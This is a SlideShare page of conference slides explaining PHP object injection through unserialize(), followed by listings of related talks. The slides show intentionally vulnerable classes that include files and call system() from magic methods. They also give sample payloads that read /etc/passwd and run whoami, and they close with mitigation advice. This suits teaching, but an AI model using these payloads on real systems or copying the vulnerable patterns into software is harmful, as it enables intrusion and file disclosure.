SlideShare a Scribd company logo
1 of 31
Download to read offline
A Closer Look Into
PHP
Unserialization
S Ashwin Shenoi
php > system(“whoami”);
● S Ashwin Shenoi (@c3rb3ru5)
● 2nd year BTech CSE @ Amrita School of Engineering,
Amritapuri
● CTF Player @teambi0s
● Web Exploitation
● Organising team @InCTF and InCTFj
● Twitter: @__c3rb3ru5__
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
● Programmer defined data structure which consists of local data
(attributes or properties) as well as local functions.
php > echo “PHP Classes”;
class Test {
public $name;
public $age;
public function __construct( ) {
$this->name = "Ashwin";
$this->age = 19;
}
}
php > echo “PHP Objects”;
● An object is a data type which stores data and
information on how to process that data.
● An Object is an individual instance of the data
structure defined by a class.
● We define a class once and then make many objects that
belong to it.
$person = new Test( );
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Agenda”;
php > echo “What is serialization”;
● Converting a complex data structure such
as a class object or arrays into strings.
● Easier for transmission and storage.
● Stored representation of an object.
php > echo “What is serialization”;
● Example Scenarios:
○ Passing objects via URL Query parameters or cookies.
○ Storing object data in text or in a single database
field
■ serialize( ) the object to a string
■ Store the object into the database or text
■ unserialize( ) the stored string back to a PHP Object
php > serialization();
● Double
○ d:<value>;
○ d:12.1234;
● NULL
○ N;
● Integers
○ i:<value>;
○ i:100;
○ i:-200;
● Boolean
○ b:<value>;
○ b:1; // TRUE
○ b:0; // FALSE
php > serialization();
● Strings
○ s:<length>:“<value>”;
○ s:6:“Ashwin”;
● Arrays
○ a:<length>:{<key>;<value>;}
○ a:2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;}
■ // array( "name" => "Ashwin" , "age" => 19 );
php > $a = 5;
php > var_dump($a);
int(5)
php > echo serialize($a);
i:5;
php > $b = unserialize('i:5;');
php > echo $b;
5
php > var_dump($b);
int(5)
php > serialization();
php > $c = "Ashwin";
php > var_dump($c);
string(6) "Ashwin"
php > echo serialize($c);
s:6:"Ashwin";
php > $d =
unserialize('s:6:"Ashwin";');
php > echo $d;
Ashwin
php > var_dump($d);
string(6) "Ashwin"
php > serialization();
O:4:"Test":2:{s:4:"name";s:6:"Ashwin";s:3:"age";i:19;}
object(Test)#1 (2) {
["name"]=>
string(6) "Ashwin"
["age"]=>
int(19)
}
O:<class name length>:"<class name>":<number of properties>:{ <properties> };
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “__Magic_Methods( )”;
● Reserved functions whose function names start with “__”.
● Magic methods are named after the specific action that leads
to their execution.
● All magic methods MUST be declared as public.
● Automatically called, so need not be explicitly called or
invoked.
● Magic methods can be called and executed after
unserialization.
php > echo “__Magic_Methods( )”;
__sleep( )
__wakeup( )
__toString( )
__invoke( )
__set_state( )
__clone( )
__debugInfo( )
__construct( )
__destruct( )
__call( )
__callStatic( )
__get( )
__set( )
__isset( )
__unset( )
php > echo “__Magic_Methods( )”;
● __construct( )
○ Normally used to initialise data in variables.
○ First method called after object creation.
○ If you do not explicitly declare it, then there will be a
default constructor with no parameters and empty content in
the class.
php > echo “__Magic_Methods( )”;
● __destruct( )
○ Perform some operations before destroying an object, such as
closing a file, etc
○ Called as soon as there are no other references to a
particular object, or in any order during the shutdown
sequence.
○ Unlike the constructor the destructor cannot have any
parameters.
php > echo “__Magic_Methods( )”;
● __wakeup( )
○ Called as soon as PHP encounters a unserialize( ) function.
○ Often used to rebuild database connections, or perform other
initialization operations.
○ This is kind of like the opposite of what the __sleep( ) magic
function does, which is automatically called when serialize( )
function is called.
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
So how on earth is this vulnerable?
php > echo “Vulnerability”;
● unserialize( ) function is SECURE, IF USER CANNOT
INFLUENCE THE INPUT.
php > echo “Vulnerability”;
● In order to successfully exploit an unserialize bug, two
conditions HAVE to be satisfied:
○ PHP Magic Method (eg. __destruct or __wakeup), that has
malicious code, or can start a POP chain.
○ All classes used for the attack should be declared and
imported properly by the time of unserialization, or else it
has to support class autoloading.
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Exploit 1”;
class Example1 {
public $file;
public function __construct( ) {
// Random PHP Code
}
public function __destruct( ) {
if ( file_exists ( $this->file ) ) {
include ( $this->file );
}
}
}
…..
// Random PHP Code
$data = unserialize($_GET[‘input’]);
// Random PHP Code
…..
php > echo “Exploit 1”;
…..
public function __destruct( ) {
if ( file_exists ( $this->file ) ) {
include ( $this->file );
}
}
…..
$data = unserialize($_GET[‘input’]);
http://example.com/?input=O:8:"Example1":1:{s:4:"file";s:11:"/etc/passwd";}
php > echo “Exploit 2”;
class Example2 {
public $cmd;
public function __construct( ) {
// Random PHP Code
}
public function __wakeup( ) {
if ( isset ( $this->cmd ) ) {
system ( $this->cmd );
}
}
}
…..
// Random PHP Code
$data = unserialize($_COOKIE[‘input’]);
// Random PHP Code
…..
php > echo “Exploit 2”;
…..
public function __wakeup( ) {
if ( isset ( $this->cmd ) ) {
system ( $this->cmd );
}
}
…..
$data = unserialize($_COOKIE[‘input’]);
GET / HTTP/1.1
Host: example.com
Cookie: input=O:8:"Example2":1:{s:3:"cmd";s:6:"whoami";}
Let’s get to a demo
php > echo “Agenda”;
● PHP Classes and Objects
● Serialization and unserialization
● What are magic functions
● Vulnerabilities of unserialize() function
● Exploiting unserialize()
● Mitigation
php > echo “Mitigation”;
● PHP7 has added an additional parameter, “options”, to
the unserialize( ) function.
○ unserialize($str, [‘allowed classes’ => false]);
● Never use the unserialize( ) function on user
controllable input.
● Instead use JSON format.
○ json_encode( )
○ json_decode( )
Questions ?

More Related Content

What's hot

The Beauty and the Beast
The Beauty and the BeastThe Beauty and the Beast
The Beauty and the BeastBastian Feder
 
Php unit the-mostunknownparts
Php unit the-mostunknownpartsPhp unit the-mostunknownparts
Php unit the-mostunknownpartsBastian Feder
 
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, GermanyLet's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, GermanyBalázs Tatár
 
Drupal Field API. Practical usage
Drupal Field API. Practical usageDrupal Field API. Practical usage
Drupal Field API. Practical usagePavel Makhrinsky
 
The Origin of Lithium
The Origin of LithiumThe Origin of Lithium
The Origin of LithiumNate Abele
 
Decoupling Objects With Standard Interfaces
Decoupling Objects With Standard InterfacesDecoupling Objects With Standard Interfaces
Decoupling Objects With Standard InterfacesThomas Weinert
 
PHPCon 2016: PHP7 by Witek Adamus / XSolve
PHPCon 2016: PHP7 by Witek Adamus / XSolvePHPCon 2016: PHP7 by Witek Adamus / XSolve
PHPCon 2016: PHP7 by Witek Adamus / XSolveXSolve
 
The Beauty And The Beast Php N W09
The Beauty And The Beast Php N W09The Beauty And The Beast Php N W09
The Beauty And The Beast Php N W09Bastian Feder
 
Open Source Search: An Analysis
Open Source Search: An AnalysisOpen Source Search: An Analysis
Open Source Search: An AnalysisJustin Finkelstein
 
Xlab #1: Advantages of functional programming in Java 8
Xlab #1: Advantages of functional programming in Java 8Xlab #1: Advantages of functional programming in Java 8
Xlab #1: Advantages of functional programming in Java 8XSolve
 
PHPUnit your bug exterminator
PHPUnit your bug exterminatorPHPUnit your bug exterminator
PHPUnit your bug exterminatorrjsmelo
 

What's hot (19)

The Beauty and the Beast
The Beauty and the BeastThe Beauty and the Beast
The Beauty and the Beast
 
Php unit the-mostunknownparts
Php unit the-mostunknownpartsPhp unit the-mostunknownparts
Php unit the-mostunknownparts
 
Drupal 8 migrate!
Drupal 8 migrate!Drupal 8 migrate!
Drupal 8 migrate!
 
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, GermanyLet's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
Let's write secure Drupal code! - 13.09.2018 @ Drupal Europe, Darmstadt, Germany
 
Lithium Best
Lithium Best Lithium Best
Lithium Best
 
Jiemamy inside 1
Jiemamy inside 1Jiemamy inside 1
Jiemamy inside 1
 
Drupal Field API. Practical usage
Drupal Field API. Practical usageDrupal Field API. Practical usage
Drupal Field API. Practical usage
 
Quebec pdo
Quebec pdoQuebec pdo
Quebec pdo
 
Current state-of-php
Current state-of-phpCurrent state-of-php
Current state-of-php
 
Laravel doctrine
Laravel doctrineLaravel doctrine
Laravel doctrine
 
What is DDD and how could it help you
What is DDD and how could it help youWhat is DDD and how could it help you
What is DDD and how could it help you
 
The Origin of Lithium
The Origin of LithiumThe Origin of Lithium
The Origin of Lithium
 
Decoupling Objects With Standard Interfaces
Decoupling Objects With Standard InterfacesDecoupling Objects With Standard Interfaces
Decoupling Objects With Standard Interfaces
 
PHPCon 2016: PHP7 by Witek Adamus / XSolve
PHPCon 2016: PHP7 by Witek Adamus / XSolvePHPCon 2016: PHP7 by Witek Adamus / XSolve
PHPCon 2016: PHP7 by Witek Adamus / XSolve
 
The Beauty And The Beast Php N W09
The Beauty And The Beast Php N W09The Beauty And The Beast Php N W09
The Beauty And The Beast Php N W09
 
Open Source Search: An Analysis
Open Source Search: An AnalysisOpen Source Search: An Analysis
Open Source Search: An Analysis
 
Xlab #1: Advantages of functional programming in Java 8
Xlab #1: Advantages of functional programming in Java 8Xlab #1: Advantages of functional programming in Java 8
Xlab #1: Advantages of functional programming in Java 8
 
PHPUnit your bug exterminator
PHPUnit your bug exterminatorPHPUnit your bug exterminator
PHPUnit your bug exterminator
 
Datastruct2
Datastruct2Datastruct2
Datastruct2
 

Similar to Closer look at PHP Unserialization by Ashwin Shenoi

Php course-in-navimumbai
Php course-in-navimumbaiPhp course-in-navimumbai
Php course-in-navimumbaivibrantuser
 
Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"Fwdays
 
What's new in PHP 8.0?
What's new in PHP 8.0?What's new in PHP 8.0?
What's new in PHP 8.0?Nikita Popov
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applicationschartjes
 
Lithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo EditionLithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo EditionNate Abele
 
Synapseindia object oriented programming in php
Synapseindia object oriented programming in phpSynapseindia object oriented programming in php
Synapseindia object oriented programming in phpSynapseindiappsdevelopment
 
12-OO-PHP.pptx
12-OO-PHP.pptx12-OO-PHP.pptx
12-OO-PHP.pptxrani marri
 
Best Practices in Plugin Development (WordCamp Seattle)
Best Practices in Plugin Development (WordCamp Seattle)Best Practices in Plugin Development (WordCamp Seattle)
Best Practices in Plugin Development (WordCamp Seattle)andrewnacin
 
PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?Sam Thomas
 
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering College
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering CollegeObject Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering College
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering CollegeDhivyaa C.R
 
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Mail.ru Group
 
PHP 8: Process & Fixing Insanity
PHP 8: Process & Fixing InsanityPHP 8: Process & Fixing Insanity
PHP 8: Process & Fixing InsanityGeorgePeterBanyard
 
SPL: The Missing Link in Development
SPL: The Missing Link in DevelopmentSPL: The Missing Link in Development
SPL: The Missing Link in Developmentjsmith92
 
Core Php Component Presentation
Core Php Component PresentationCore Php Component Presentation
Core Php Component PresentationJohn Coonen
 

Similar to Closer look at PHP Unserialization by Ashwin Shenoi (20)

Magic methods
Magic methodsMagic methods
Magic methods
 
Lecture9_OOPHP_SPring2023.pptx
Lecture9_OOPHP_SPring2023.pptxLecture9_OOPHP_SPring2023.pptx
Lecture9_OOPHP_SPring2023.pptx
 
Php course-in-navimumbai
Php course-in-navimumbaiPhp course-in-navimumbai
Php course-in-navimumbai
 
Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"Nikita Popov "What’s new in PHP 8.0?"
Nikita Popov "What’s new in PHP 8.0?"
 
What's new in PHP 8.0?
What's new in PHP 8.0?What's new in PHP 8.0?
What's new in PHP 8.0?
 
Building Testable PHP Applications
Building Testable PHP ApplicationsBuilding Testable PHP Applications
Building Testable PHP Applications
 
Lithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo EditionLithium: The Framework for People Who Hate Frameworks, Tokyo Edition
Lithium: The Framework for People Who Hate Frameworks, Tokyo Edition
 
Synapseindia object oriented programming in php
Synapseindia object oriented programming in phpSynapseindia object oriented programming in php
Synapseindia object oriented programming in php
 
12-OO-PHP.pptx
12-OO-PHP.pptx12-OO-PHP.pptx
12-OO-PHP.pptx
 
Best Practices in Plugin Development (WordCamp Seattle)
Best Practices in Plugin Development (WordCamp Seattle)Best Practices in Plugin Development (WordCamp Seattle)
Best Practices in Plugin Development (WordCamp Seattle)
 
PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?PHP unserialization vulnerabilities: What are we missing?
PHP unserialization vulnerabilities: What are we missing?
 
UNIT III (8).pptx
UNIT III (8).pptxUNIT III (8).pptx
UNIT III (8).pptx
 
UNIT III (8).pptx
UNIT III (8).pptxUNIT III (8).pptx
UNIT III (8).pptx
 
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering College
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering CollegeObject Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering College
Object Oriented PHP by Dr.C.R.Dhivyaa Kongu Engineering College
 
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
Security Meetup 22 октября. «PHP Unserialize Exploiting». Павел Топорков. Лаб...
 
PHP 8: Process & Fixing Insanity
PHP 8: Process & Fixing InsanityPHP 8: Process & Fixing Insanity
PHP 8: Process & Fixing Insanity
 
Spl Not A Bridge Too Far phpNW09
Spl Not A Bridge Too Far phpNW09Spl Not A Bridge Too Far phpNW09
Spl Not A Bridge Too Far phpNW09
 
Effective PHP. Part 1
Effective PHP. Part 1Effective PHP. Part 1
Effective PHP. Part 1
 
SPL: The Missing Link in Development
SPL: The Missing Link in DevelopmentSPL: The Missing Link in Development
SPL: The Missing Link in Development
 
Core Php Component Presentation
Core Php Component PresentationCore Php Component Presentation
Core Php Component Presentation
 

More from Cysinfo Cyber Security Community

Understanding Malware Persistence Techniques by Monnappa K A
Understanding Malware Persistence Techniques by Monnappa K AUnderstanding Malware Persistence Techniques by Monnappa K A
Understanding Malware Persistence Techniques by Monnappa K ACysinfo Cyber Security Community
 
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviUnderstanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviCysinfo Cyber Security Community
 
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TKGetting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TKCysinfo Cyber Security Community
 
A look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
A look into the sanitizer family (ASAN & UBSAN) by Akul PillaiA look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
A look into the sanitizer family (ASAN & UBSAN) by Akul PillaiCysinfo Cyber Security Community
 
Reversing and Decrypting Malware Communications by Monnappa
Reversing and Decrypting Malware Communications by MonnappaReversing and Decrypting Malware Communications by Monnappa
Reversing and Decrypting Malware Communications by MonnappaCysinfo Cyber Security Community
 
Understanding evasive hollow process injection techniques monnappa k a
Understanding evasive hollow process injection techniques   	monnappa k aUnderstanding evasive hollow process injection techniques   	monnappa k a
Understanding evasive hollow process injection techniques monnappa k aCysinfo Cyber Security Community
 
Security challenges in d2d communication by ajithkumar vyasarao
Security challenges in d2d communication  by ajithkumar vyasaraoSecurity challenges in d2d communication  by ajithkumar vyasarao
Security challenges in d2d communication by ajithkumar vyasaraoCysinfo Cyber Security Community
 

More from Cysinfo Cyber Security Community (20)

Understanding Malware Persistence Techniques by Monnappa K A
Understanding Malware Persistence Techniques by Monnappa K AUnderstanding Malware Persistence Techniques by Monnappa K A
Understanding Malware Persistence Techniques by Monnappa K A
 
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram KharviUnderstanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
Understanding & analyzing obfuscated malicious web scripts by Vikram Kharvi
 
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TKGetting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
Getting started with cybersecurity through CTFs by Shruti Dixit & Geethna TK
 
Emerging Trends in Cybersecurity by Amar Prusty
Emerging Trends in Cybersecurity by Amar PrustyEmerging Trends in Cybersecurity by Amar Prusty
Emerging Trends in Cybersecurity by Amar Prusty
 
A look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
A look into the sanitizer family (ASAN & UBSAN) by Akul PillaiA look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
A look into the sanitizer family (ASAN & UBSAN) by Akul Pillai
 
Unicorn: The Ultimate CPU Emulator by Akshay Ajayan
Unicorn: The Ultimate CPU Emulator by Akshay AjayanUnicorn: The Ultimate CPU Emulator by Akshay Ajayan
Unicorn: The Ultimate CPU Emulator by Akshay Ajayan
 
The Art of Executing JavaScript by Akhil Mahendra
The Art of Executing JavaScript by Akhil MahendraThe Art of Executing JavaScript by Akhil Mahendra
The Art of Executing JavaScript by Akhil Mahendra
 
Reversing and Decrypting Malware Communications by Monnappa
Reversing and Decrypting Malware Communications by MonnappaReversing and Decrypting Malware Communications by Monnappa
Reversing and Decrypting Malware Communications by Monnappa
 
DeViL - Detect Virtual Machine in Linux by Sreelakshmi
DeViL - Detect Virtual Machine in Linux by SreelakshmiDeViL - Detect Virtual Machine in Linux by Sreelakshmi
DeViL - Detect Virtual Machine in Linux by Sreelakshmi
 
Analysis of android apk using adhrit by Abhishek J.M
 Analysis of android apk using adhrit by Abhishek J.M Analysis of android apk using adhrit by Abhishek J.M
Analysis of android apk using adhrit by Abhishek J.M
 
Understanding evasive hollow process injection techniques monnappa k a
Understanding evasive hollow process injection techniques   	monnappa k aUnderstanding evasive hollow process injection techniques   	monnappa k a
Understanding evasive hollow process injection techniques monnappa k a
 
Security challenges in d2d communication by ajithkumar vyasarao
Security challenges in d2d communication  by ajithkumar vyasaraoSecurity challenges in d2d communication  by ajithkumar vyasarao
Security challenges in d2d communication by ajithkumar vyasarao
 
S2 e (selective symbolic execution) -shivkrishna a
S2 e (selective symbolic execution) -shivkrishna aS2 e (selective symbolic execution) -shivkrishna a
S2 e (selective symbolic execution) -shivkrishna a
 
Dynamic binary analysis using angr siddharth muralee
Dynamic binary analysis using angr   siddharth muraleeDynamic binary analysis using angr   siddharth muralee
Dynamic binary analysis using angr siddharth muralee
 
Bit flipping attack on aes cbc - ashutosh ahelleya
Bit flipping attack on aes cbc -	ashutosh ahelleyaBit flipping attack on aes cbc -	ashutosh ahelleya
Bit flipping attack on aes cbc - ashutosh ahelleya
 
Security Analytics using ELK stack
Security Analytics using ELK stack	Security Analytics using ELK stack
Security Analytics using ELK stack
 
Linux Malware Analysis
Linux Malware Analysis	Linux Malware Analysis
Linux Malware Analysis
 
Introduction to Binary Exploitation
Introduction to Binary Exploitation	Introduction to Binary Exploitation
Introduction to Binary Exploitation
 
ATM Malware: Understanding the threat
ATM Malware: Understanding the threat	ATM Malware: Understanding the threat
ATM Malware: Understanding the threat
 
XXE - XML External Entity Attack
XXE - XML External Entity Attack	XXE - XML External Entity Attack
XXE - XML External Entity Attack
 

Recently uploaded

Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Victor Rentea
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfsudhanshuwaghmare1
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxRustici Software
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDropbox
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfOrbitshub
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...DianaGray10
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfOverkill Security
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKJago de Vreede
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdfSandro Moreira
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businesspanagenda
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Zilliz
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FMESafe Software
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Angeliki Cooney
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistandanishmna97
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MIND CTI
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerThousandEyes
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Jeffrey Haguewood
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWERMadyBayot
 
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot TakeoffStrategize a Smooth Tenant-to-tenant Migration and Copilot Takeoff
Strategize a Smooth Tenant-to-tenant Migration and Copilot Takeoffsammart93
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...apidays
 

Recently uploaded (20)

Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
Modular Monolith - a Practical Alternative to Microservices @ Devoxx UK 2024
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
Corporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptxCorporate and higher education May webinar.pptx
Corporate and higher education May webinar.pptx
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdfRising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
Rising Above_ Dubai Floods and the Fortitude of Dubai International Airport.pdf
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Ransomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdfRansomware_Q4_2023. The report. [EN].pdf
Ransomware_Q4_2023. The report. [EN].pdf
 
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUKSpring Boot vs Quarkus the ultimate battle - DevoxxUK
Spring Boot vs Quarkus the ultimate battle - DevoxxUK
 
[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf[BuildWithAI] Introduction to Gemini.pdf
[BuildWithAI] Introduction to Gemini.pdf
 
Why Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire businessWhy Teams call analytics are critical to your entire business
Why Teams call analytics are critical to your entire business
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
Biography Of Angeliki Cooney | Senior Vice President Life Sciences | Albany, ...
 
CNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In PakistanCNIC Information System with Pakdata Cf In Pakistan
CNIC Information System with Pakdata Cf In Pakistan
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
Web Form Automation for Bonterra Impact Management (fka Social Solutions Apri...
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
